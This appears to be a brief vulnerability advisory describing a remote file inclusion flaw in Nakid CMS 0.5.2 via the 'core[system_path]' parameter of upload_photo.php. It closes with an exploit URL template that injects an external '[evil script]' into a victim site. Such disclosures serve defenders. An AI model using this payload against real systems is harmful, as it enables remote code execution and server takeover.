Nakid CMS "core[system_path]" File Inclusion Vulnerability

A vulnerability has been discovered in Nakid CMS, which can be exploited by malicious people to compromise a vulnerable system. Input passed to the "core[system_path]" parameter in modules/catalog/upload_photo.php is not properly verified before being used to include files. This can be exploited to include arbitrary files from local or external resources. Successful exploitation requires that "magic_quotes_gpc" is disabled and "register_globals" is enabled. The vulnerability is confirmed in version 0.5.2. Other versions may also be affected. [~] Nakid CMS 0.5.2 Remote Include Exploit [~] Found by sh00t0ut [~] Expl: http://[victim]/modules/catalog/upload_photo.php?core[system_path]=[evil script]